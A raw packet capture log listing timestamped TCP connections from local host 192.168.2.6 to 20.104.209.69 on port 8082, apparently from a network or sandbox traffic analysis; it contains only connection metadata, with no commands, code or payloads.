Jan 8, 2023 16:09:12.473069906 CET	8082	50006	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:12.473198891 CET	50006	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:12.473792076 CET	50006	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:12.588145018 CET	8082	50006	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:12.592641115 CET	8082	50006	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:12.592729092 CET	8082	50006	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:12.592772007 CET	8082	50006	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:12.592889071 CET	50006	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:12.593419075 CET	50006	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:12.593419075 CET	50006	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:12.707958937 CET	8082	50006	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:12.730479956 CET	50007	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:12.844793081 CET	8082	50007	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:12.844961882 CET	50007	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:12.845453024 CET	50007	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:12.959620953 CET	8082	50007	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:12.963753939 CET	8082	50007	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:12.963830948 CET	8082	50007	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:12.963879108 CET	8082	50007	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:12.963987112 CET	50007	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:12.964057922 CET	50007	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:12.981945992 CET	50007	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:13.096208096 CET	8082	50007	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:13.173899889 CET	50008	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:13.289062977 CET	8082	50008	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:13.289232016 CET	50008	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:13.289900064 CET	50008	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:13.404007912 CET	8082	50008	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:13.408380032 CET	8082	50008	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:13.408423901 CET	8082	50008	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:13.408444881 CET	8082	50008	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:13.408499956 CET	50008	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:13.408565998 CET	50008	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:13.409645081 CET	50008	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:13.524137020 CET	8082	50008	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:13.543790102 CET	50009	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:13.658574104 CET	8082	50009	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:13.658757925 CET	50009	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:13.659255028 CET	50009	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:13.773197889 CET	8082	50009	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:13.779225111 CET	8082	50009	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:13.779310942 CET	8082	50009	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:13.779331923 CET	50009	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:13.779372931 CET	50009	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:13.779418945 CET	8082	50009	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:13.779495001 CET	50009	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:13.779778004 CET	50009	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:13.894069910 CET	8082	50009	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:13.910516024 CET	50010	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:14.025935888 CET	8082	50010	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:14.026412010 CET	50010	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:14.028513908 CET	50010	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:14.142765999 CET	8082	50010	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:14.147233009 CET	8082	50010	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:14.147283077 CET	8082	50010	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:14.147304058 CET	8082	50010	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:14.147527933 CET	50010	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:14.147527933 CET	50010	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:14.163479090 CET	50010	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:14.277930975 CET	8082	50010	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:14.369746923 CET	50011	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:14.484311104 CET	8082	50011	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:14.484608889 CET	50011	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:14.485296011 CET	50011	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:14.599301100 CET	8082	50011	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:14.604413986 CET	8082	50011	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:14.604465961 CET	8082	50011	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:14.604516029 CET	8082	50011	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:14.604640961 CET	50011	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:14.605268955 CET	50011	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:14.605268955 CET	50011	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:14.719155073 CET	8082	50011	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:14.739507914 CET	50012	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:14.853965998 CET	8082	50012	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:14.854175091 CET	50012	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:14.862957001 CET	50012	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:14.977164030 CET	8082	50012	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:14.980679989 CET	8082	50012	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:14.980731964 CET	8082	50012	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:14.980799913 CET	50012	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:14.980801105 CET	50012	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:14.980946064 CET	8082	50012	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:14.981057882 CET	50012	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:14.981888056 CET	50012	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:15.095637083 CET	8082	50012	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:15.126173973 CET	50013	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:15.240756989 CET	8082	50013	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:15.240986109 CET	50013	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:15.243055105 CET	50013	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:15.357551098 CET	8082	50013	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:15.361291885 CET	8082	50013	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:15.361392021 CET	8082	50013	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:15.361534119 CET	50013	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:15.361808062 CET	8082	50013	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:15.361896992 CET	50013	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:15.454250097 CET	50013	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:15.568803072 CET	8082	50013	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:15.626434088 CET	50014	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:15.740967035 CET	8082	50014	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:15.741838932 CET	50014	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:15.744386911 CET	50014	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:15.858719110 CET	8082	50014	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:15.862679005 CET	8082	50014	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:15.862735987 CET	8082	50014	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:15.862761021 CET	8082	50014	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:15.864079952 CET	50014	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:15.864527941 CET	50014	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:15.978439093 CET	8082	50014	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:16.005287886 CET	50015	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:16.119632959 CET	8082	50015	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:16.128202915 CET	50015	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:16.132078886 CET	50015	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:16.246206045 CET	8082	50015	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:16.250296116 CET	8082	50015	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:16.250345945 CET	8082	50015	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:16.250375986 CET	8082	50015	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:16.250916004 CET	50015	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:16.254179001 CET	50015	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:16.368557930 CET	8082	50015	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:16.381617069 CET	50016	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:16.496047020 CET	8082	50016	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:16.504420996 CET	50016	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:16.505243063 CET	50016	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:16.619287968 CET	8082	50016	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:16.623344898 CET	8082	50016	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:16.623373032 CET	8082	50016	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:16.623524904 CET	50016	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:16.623647928 CET	8082	50016	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:16.625464916 CET	50016	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:16.654266119 CET	50016	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:16.768559933 CET	8082	50016	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:16.796720982 CET	50017	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:16.911175013 CET	8082	50017	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:16.913141966 CET	50017	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:16.914318085 CET	50017	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:17.028587103 CET	8082	50017	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:17.033626080 CET	8082	50017	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:17.033668041 CET	8082	50017	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:17.033703089 CET	8082	50017	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:17.034348011 CET	50017	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:17.034856081 CET	50017	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:17.148996115 CET	8082	50017	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:17.181349039 CET	50018	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:17.296252966 CET	8082	50018	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:17.296437979 CET	50018	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:17.296928883 CET	50018	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:17.411052942 CET	8082	50018	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:17.415328979 CET	8082	50018	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:17.415364981 CET	8082	50018	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:17.415409088 CET	8082	50018	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:17.415545940 CET	50018	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:17.415963888 CET	50018	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:17.416331053 CET	50018	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:17.530293941 CET	8082	50018	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:17.564124107 CET	50019	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:17.678626060 CET	8082	50019	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:17.683451891 CET	50019	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:17.690551996 CET	50019	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:17.804800034 CET	8082	50019	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:17.809040070 CET	8082	50019	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:17.809115887 CET	8082	50019	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:17.809168100 CET	8082	50019	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:17.811116934 CET	50019	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:17.825233936 CET	50019	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:17.939379930 CET	8082	50019	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:17.964142084 CET	50020	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:18.078985929 CET	8082	50020	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:18.079416037 CET	50020	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:18.080221891 CET	50020	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:18.194286108 CET	8082	50020	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:18.198735952 CET	8082	50020	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:18.198775053 CET	8082	50020	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:18.198791981 CET	8082	50020	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:18.211189985 CET	50020	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:18.211657047 CET	50020	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:18.326510906 CET	8082	50020	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:18.350478888 CET	50021	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:18.471033096 CET	8082	50021	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:18.471280098 CET	50021	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:18.471911907 CET	50021	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:18.585879087 CET	8082	50021	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:18.590138912 CET	8082	50021	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:18.590188026 CET	8082	50021	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:18.590246916 CET	8082	50021	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:18.590347052 CET	50021	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:18.590711117 CET	50021	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:18.591042042 CET	50021	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:18.705073118 CET	8082	50021	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:18.727226019 CET	50022	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:18.841624975 CET	8082	50022	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:18.845745087 CET	50022	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:18.846417904 CET	50022	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:18.962943077 CET	8082	50022	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:18.966918945 CET	8082	50022	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:18.966953039 CET	8082	50022	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:18.966969967 CET	8082	50022	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:18.967067957 CET	50022	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:18.982166052 CET	50022	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:19.100953102 CET	8082	50022	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:19.112418890 CET	50023	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:19.227137089 CET	8082	50023	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:19.229336977 CET	50023	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:19.229934931 CET	50023	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:19.346962929 CET	8082	50023	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:19.350924015 CET	8082	50023	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:19.350961924 CET	8082	50023	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:19.350985050 CET	8082	50023	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:19.353491068 CET	50023	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:19.353491068 CET	50023	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:19.468599081 CET	8082	50023	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:19.496484041 CET	50024	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:19.611031055 CET	8082	50024	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:19.614026070 CET	50024	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:19.614780903 CET	50024	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:19.729846001 CET	8082	50024	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:19.732151985 CET	8082	50024	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:19.732187986 CET	8082	50024	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:19.732203960 CET	8082	50024	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:19.737929106 CET	50024	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:19.738436937 CET	50024	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:19.852544069 CET	8082	50024	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:19.896970034 CET	50025	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:20.011496067 CET	8082	50025	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:20.011715889 CET	50025	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:20.012556076 CET	50025	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:20.126512051 CET	8082	50025	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:20.133842945 CET	8082	50025	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:20.133886099 CET	8082	50025	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:20.133902073 CET	8082	50025	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:20.137944937 CET	50025	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:20.153539896 CET	50025	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:20.267699957 CET	8082	50025	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:20.651128054 CET	50026	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:20.765866995 CET	8082	50026	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:20.797497988 CET	50026	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:20.802707911 CET	50026	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:20.917095900 CET	8082	50026	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:20.921210051 CET	8082	50026	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:20.921262980 CET	8082	50026	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:20.921549082 CET	8082	50026	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:20.939127922 CET	50026	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:20.978368998 CET	50026	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:21.092787027 CET	8082	50026	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:21.121234894 CET	50027	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:21.235593081 CET	8082	50027	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:21.243823051 CET	50027	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:21.273884058 CET	50027	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:21.388290882 CET	8082	50027	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:21.392632961 CET	8082	50027	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:21.392688990 CET	8082	50027	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:21.392719984 CET	8082	50027	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:21.406907082 CET	50027	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:21.408869028 CET	50027	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:21.522973061 CET	8082	50027	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:21.543065071 CET	50028	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:21.657629013 CET	8082	50028	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:21.670319080 CET	50028	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:22.275214911 CET	50028	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:22.389446020 CET	8082	50028	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:22.393877983 CET	8082	50028	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:22.393908978 CET	8082	50028	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:22.393919945 CET	8082	50028	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:22.402585983 CET	50028	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:22.716485977 CET	50028	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:22.831190109 CET	8082	50028	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:22.909418106 CET	50029	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:23.024089098 CET	8082	50029	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:23.034231901 CET	50029	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:23.132230043 CET	50029	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:23.246529102 CET	8082	50029	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:23.250758886 CET	8082	50029	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:23.250804901 CET	8082	50029	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:23.250834942 CET	8082	50029	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:23.257265091 CET	50029	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:23.822997093 CET	50029	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:23.937067986 CET	8082	50029	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:24.424279928 CET	50030	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:24.538804054 CET	8082	50030	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:24.539031029 CET	50030	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:24.604432106 CET	50030	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:24.718482018 CET	8082	50030	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:24.722985029 CET	8082	50030	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:24.723031998 CET	8082	50030	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:24.723072052 CET	8082	50030	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:24.723081112 CET	50030	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:24.723129988 CET	50030	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:24.723146915 CET	50030	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:24.724250078 CET	50030	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:24.838368893 CET	8082	50030	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:24.857265949 CET	50031	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:24.972955942 CET	8082	50031	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:24.973079920 CET	50031	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:24.973639011 CET	50031	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:25.087553978 CET	8082	50031	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:25.092058897 CET	8082	50031	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:25.092094898 CET	8082	50031	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:25.092144966 CET	8082	50031	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:25.092192888 CET	50031	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:25.092246056 CET	50031	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:25.103728056 CET	50031	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:25.217885971 CET	8082	50031	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:25.231867075 CET	50032	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:25.345968008 CET	8082	50032	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:25.346163034 CET	50032	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:25.350032091 CET	50032	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:25.464394093 CET	8082	50032	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:25.468635082 CET	8082	50032	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:25.468672991 CET	8082	50032	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:25.468691111 CET	8082	50032	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:25.468779087 CET	50032	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:25.468820095 CET	50032	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:25.469444036 CET	50032	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:25.583446980 CET	8082	50032	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:25.622219086 CET	50033	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:25.736424923 CET	8082	50033	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:25.736556053 CET	50033	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:25.737781048 CET	50033	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:25.851795912 CET	8082	50033	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:25.856317043 CET	8082	50033	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:25.856372118 CET	8082	50033	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:25.856394053 CET	8082	50033	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:25.856450081 CET	50033	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:25.856486082 CET	50033	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:25.856890917 CET	50033	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:25.970858097 CET	8082	50033	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:25.980158091 CET	50034	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:26.094672918 CET	8082	50034	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:26.094907045 CET	50034	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:26.095542908 CET	50034	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:09:26.209395885 CET	8082	50034	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:26.214123011 CET	8082	50034	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:26.214261055 CET	8082	50034	20.104.209.69	192.168.2.6
Jan 8, 2023 16:09:26.214287996 CET	8082	50034	20.104.209.69	192.168.2.6
